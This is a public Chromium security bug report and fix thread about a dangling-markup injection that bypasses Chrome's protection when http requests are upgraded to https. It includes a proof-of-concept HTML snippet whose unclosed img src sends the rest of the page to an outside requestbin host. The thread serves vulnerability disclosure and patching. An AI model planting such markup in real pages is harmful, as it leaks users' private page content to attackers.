Starred by 4 users

| | |
|---|---|
| **Owner:** | carlosil@chromium.org |
| **CC:** | mkwst@chromium.org<br>adetaylor@chromium.org<br>carlosil@chromium.org<br>amyressler@chromium.org<br>mas...@chromium.org |
| **Status:** | Fixed *(Closed)* |
| **Components:** | Blink>HTML>Parser |
| **Modified:** | Jul 29, 2022 |
| **Backlog-Rank:** | ---- |
| **Editors:** | ---- |
| **EstimatedDays:** | ---- |
| **NextAction:** | ---- |
| **OS:** | Linux, Android, Windows, Chrome, Mac, Fuchsia, Lacros |
| **Pri:** | 2 |
| **Type:** | Bug-Security |

reward-500
Security_Severity-Low
allpublic
reward-inprocess
CVE_description-submitted
external_security_report
FoundIn-98
Security_Impact-Extended
Release-0-M101
CVE-2022-1498

# Issue 1297138: Security: leak user html content using Dangling Markup injection when http upgrade to https

Reported by ohseu...@gmail.com on Mon, Feb 14, 2022, 10:32 AM EST

Code

**This template is ONLY for reporting security bugs. If you are reporting a Download Protection Bypass bug, please use the "Security - Download Protection" template. For all other reports, please use a different template.**

**Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md**

**Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs**

**Reports may be eligible for reward payments under the Chrome VRP: http://g.co/ChromeBugRewards**

**NOTE: Security bugs are normally made public once a fix has been widely deployed.**

---

**VULNERABILITY DETAILS**

https://bugs.chromium.org/p/chromium/issues/detail?id=680969

According to the above report, it can be seen that chrome blocked attacks such as Dangling Markup injection.
Of course, it is blocked in the following situations.

victim Server url protocol - attacker's url protocol
https -> https
http -> https
http -> http

But, i found html content was leaked through the img tag in the following situation.

victim server url protocol - attacker's url protocol
https -> http

#### poc

```
<html>
    <body>
        <img src="http://en87sf22sedq7.x.pipedream.net/?q=
        <!--flag{this_is_secret_value}-->
        <script>console.log("hi");</script>
    </body>
</html>
```

When the attacker's url protocol is upgraded to https, the user html content is leaked by bypassing the patch.
In addition to img tags, it was also possible with audio and video tags, and there may be more possible tags.

In addition to img tags, it was also possible with audio and video tags, and there may be more possible tags.
This allows attackers to get personal information by leaking the user's content when script is unavailable due to security elements such as csp.

**VERSION**
Chrome Version: 98.0.4758.82 (Official Build) (64-bit)
Operating System: Windows 10

**REPRODUCTION CASE**
1. Access https://ssrf.kr/crbug_test.html
2. Access https://requestbin.com/r/en87sf22sedq7 and check html content has been leaked

**CREDIT INFORMATION**
**Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?**
Reporter credit: SeungJu Oh (@real_as3617)

**crbug_test.html**
159 bytes View Download

Comment 1 by sheriffbot on Mon, Feb 14, 2022, 10:34 AM EST

**Labels:** external_security_report

Comment 2 by adetaylor@google.com on Mon, Feb 14, 2022, 2:06 PM EST

**Status:** Assigned (was: Unconfirmed)
**Owner:** mkwst@chromium.org
**Labels:** FoundIn-98 Security_Severity-Low OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-Lacros
**Components:** Blink>HTML>Parser

Thanks for the report.

I can reproduce this on M98.

Trying to work out severity: It looks like the original dangling markup injection was put in place in ~~issue 680970~~ and this wasn't claimed to be a security fix per-se. However ~~issue 766592~~ was a bypass and was graded Security_Severity-Low, so that's what I'll do here.

mkwst@, would you take this one and figure out if we should fix it, and if so, who is the right person?

Comment 3 by sheriffbot on Mon, Feb 14, 2022, 2:10 PM EST

**Labels:** Security_Impact-Extended

Comment 4 by sheriffbot on Tue, Feb 15, 2022, 1:28 PM EST

**Labels:** -Pri-3 Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 5 Deleted

Comment 6 by ohseu...@gmail.com on Sun, Feb 20, 2022, 12:01 AM EST

After submitting the report, I checked more about what things were possible.
https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 - My payload seems that the patch of this report can also be bypassed.
Perhaps it is possible to bypass almost all patches unless it is a special case.
Also, the security severity of this report was medium. Can my report's severity go up?

Comment 7 by mkwst@google.com on Mon, Feb 21, 2022, 2:25 AM EST

**Owner:** carlosil@chromium.org
**Cc:** mkwst@chromium.org

+carlosil@ as we ought to be blocking this request in https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/loader/base_fetch_context.cc;drc=f7f2dcfbd24f7ee74a0b306043bc757da65f64a6;l=676. Perhaps we're losing the `potentiallyDanglingMarkup` flag somewhere when creating the ResourceRequest, and copying the URL at https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/loader/mixed_content_checker.cc;drc=f7f2dcfbd24f7ee74a0b306043bc757da65f64a6;l=898? If so, that might imply that this is also broken for `upgrade-insecure-requests`.

Comment 8 by carlosil@chromium.org on Thu, Feb 24, 2022, 9:48 PM EST

Yeah, taking a look at this, the url.SetProtocol("https") call causes IsPonentiallyDanglingMarkup to become false, so this affects both upgrade-insecure-requests and autoupgrades. I'm not sure how this is happening since it seems it should be carried over in DoCanonicalizeStandardUrl (https://source.chromium.org/chromium/chromium/src/+/main:url/url_canon_stdurl.cc;drc=dc3638e64423b1d2d5e3323b419028ab631f3923;l=108). I'll take a deeper look at this tomorrow.

Comment 9 by carlosil@chromium.org on Fri, Feb 25, 2022, 8:38 PM EST

So it seems the issue is the flag is lost before we even get to DoCanonicalizeStandardUrl, it's last kept in the 'parsed' parameter passed to DoReplaceComponents (https://source.chromium.org/chromium/chromium/src/+/main:url/url_util.cc;drc=d2f8618e737ac7722fe6e4b0d785f51fc5f2aed2;l=380), but parsed is not used again (except for checking the scheme validity), so the value is not copied to out_parsed.
Adding a

```
if (parsed.potentially_dangling_markup) {
   out_parsed->potentially_dangling_markup = true;
 }
```

check to DoReplaceComponents fixes this, but I need to make sure this is appropriate (since technically DoReplaceComponents can remove the dangling markup, so it's not always appropriate to inherit the flag.

This means that the potentially dangling markup flag is lost on any code that calls DoReplaceComponent, not just mixed content checker.

Comment 10 by carlosil@chromium.org on Mon, Mar 7, 2022, 8:08 PM EST

Mike: Would it make sense to just add a check equivalent to https://source.chromium.org/chromium/chromium/src/+/main:url/url_canon_etc.cc;drc=e2cba64c183ae17816143ee344e6f7c81451555a;l=62 after DoReplaceComponents replaces the components? That would catch this case, while still covering the case where the component replacement added or removed the potentially dangling markup. LMK what you think.

Comment 11 by mkwst@google.com on Tue, Mar 8, 2022, 1:51 AM EST

Thanks for following up on this, Carlos!

I think the change you've suggested to `DoReplaceComponents` sounds reasonable. You're correct to suggest that it's possible that the replacement operation could remove the thing that was a problem in the first place, but I think that kind of check would require a little more work than is worthwhile. I'm also hard-pressed to think of cases in which it would break something we didn't want to break.

If you'd like to dig into the more complex approach (which I think would check to see whether the path, query, or ref was being replaced, and then perform the check you've suggested on the replaced content), I'll happily review it. But I think the simpler solution is safer (insofar as it fails closed), and simpler to reason about.

Comment 12 by mkwst@google.com on Thu, Mar 10, 2022, 2:19 AM EST

**Cc:** carlosil@chromium.org

~~Issue 1304166~~ has been merged into this issue.

Comment 13 by carlosil@chromium.org on Tue, Mar 15, 2022, 6:29 PM EDT

Sorry, I got a bit busy and this fell behind on this. Re #11: In that case I'm happy to go with the simpler solution and add the set the flag in out_parsed. I'll put together a CL and send it over. Thanks for checking!

Comment 14 by Git Watcher on Wed, Mar 16, 2022, 3:40 AM EDT

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/f96e7cfcff0c8a75b314b05382c53bbf92c0bf4e

commit f96e7cfcff0c8a75b314b05382c53bbf92c0bf4e
Author: Carlos IL <carlosil@chromium.org>
Date: Wed Mar 16 07:38:59 2022

Carry over potentially dangling markup flag for scheme only replacements

Prior to this change, the potentially dangling markup flag was being
carried over only in DoCanonicalizeStandardURL, but this failed for
scheme-only replacements (since the old parsed URL is not passed to
DoCanonicalize for those). This adds a check for the flag directly in
DoReplaceComponent that covers scheme only replacements.

~~Bug: 1297138~~
Change-Id: I120682b6ee094e7aebb614754855c3e1db2b5544
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3527120
Auto-Submit: Carlos IL <carlosil@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/main@{#981520}

[modify] https://crrev.com/f96e7cfcff0c8a75b314b05382c53bbf92c0bf4e/url/url_util.cc
[modify] https://crrev.com/f96e7cfcff0c8a75b314b05382c53bbf92c0bf4e/url/url_util_unittest.cc

Comment 15 by carlosil@chromium.org on Wed, Mar 16, 2022, 12:28 PM EDT

~~Issue 1301335~~ has been merged into this issue.

Comment 16 by carlosil@chromium.org on Wed, Mar 16, 2022, 12:32 PM EDT

**Status:** Fixed (was: Assigned)

Comment 17 by sheriffbot on Wed, Mar 16, 2022, 12:42 PM EDT

**Labels:** reward-topanel

Comment 18 by sheriffbot on Wed, Mar 16, 2022, 1:42 PM EDT

**Labels:** -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 19 by ohseu...@gmail.com on Tue, Mar 22, 2022, 9:56 PM EDT

Thank you for the quick patch! Can I get a CVE ID?

Comment 20 by carlosil@chromium.org on Wed, Mar 23, 2022, 6:49 PM EDT

**Cc:** adetaylor@chromium.org amyressler@chromium.org

Thanks for the report. I believe CVE decisions are made by the VRP panel. cc'ing adetaylor and amyressler to confirm.

Comment 21 by amyressler@chromium.org on Wed, Mar 23, 2022, 11:00 PM EDT

Thanks for tagging me in carlosil@.
CVEs aren't part of the VRP process or distributed by the panel, but are instead allocated for externally discovered issues in Stable or Extended Stable, when the patch is included in a Stable channel release. CVE IDs must be tied to a public artifact, so we can only allocate them then as the Stable channel release notes (https://chromereleases.googleblog.com/) are available to be that artifact.

The CVE ID will be allocated directly to this bug report at that time.

Comment 22 Deleted

Comment 23 by amyressler@google.com on Mon, Apr 11, 2022, 1:06 PM EDT

**Labels:** -reward-topanel reward-unpaid reward-500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
**********

Comment 24 by amyressler@chromium.org on Mon, Apr 11, 2022, 2:33 PM EDT

Hello, SeungJu. Thank you for this report. Given the relatively minimal impact of this issue we wanted to provide a thank you reward for this report. A member of our finance team will be in touch with you soon to arrange payment. We appreciate your efforts and taking the time to report this issue to us.

Comment 25 by ohseu...@gmail.com on Mon, Apr 11, 2022, 9:33 PM EDT

Thank you for Reward!

Comment 26 by amyressler@google.com on Tue, Apr 12, 2022, 9:16 PM EDT

**Labels:** -reward-unpaid reward-inprocess

Comment 27 by amyressler@chromium.org on Mon, Apr 25, 2022, 8:43 PM EDT

**Labels:** Release-0-M101

Comment 28 by amyressler@google.com on Tue, Apr 26, 2022, 4:32 PM EDT

**Labels:** CVE-2022-1498 CVE_description-missing

Comment 29 by sheriffbot on Wed, Jun 22, 2022, 1:31 PM EDT

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 30 by amyressler@google.com on Tue, Jul 26, 2022, 5:37 PM EDT

**Labels:** CVE_description-submitted -CVE_description-missing

Comment 31 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT

**Labels:** -CVE_description-missing --CVE_description-missing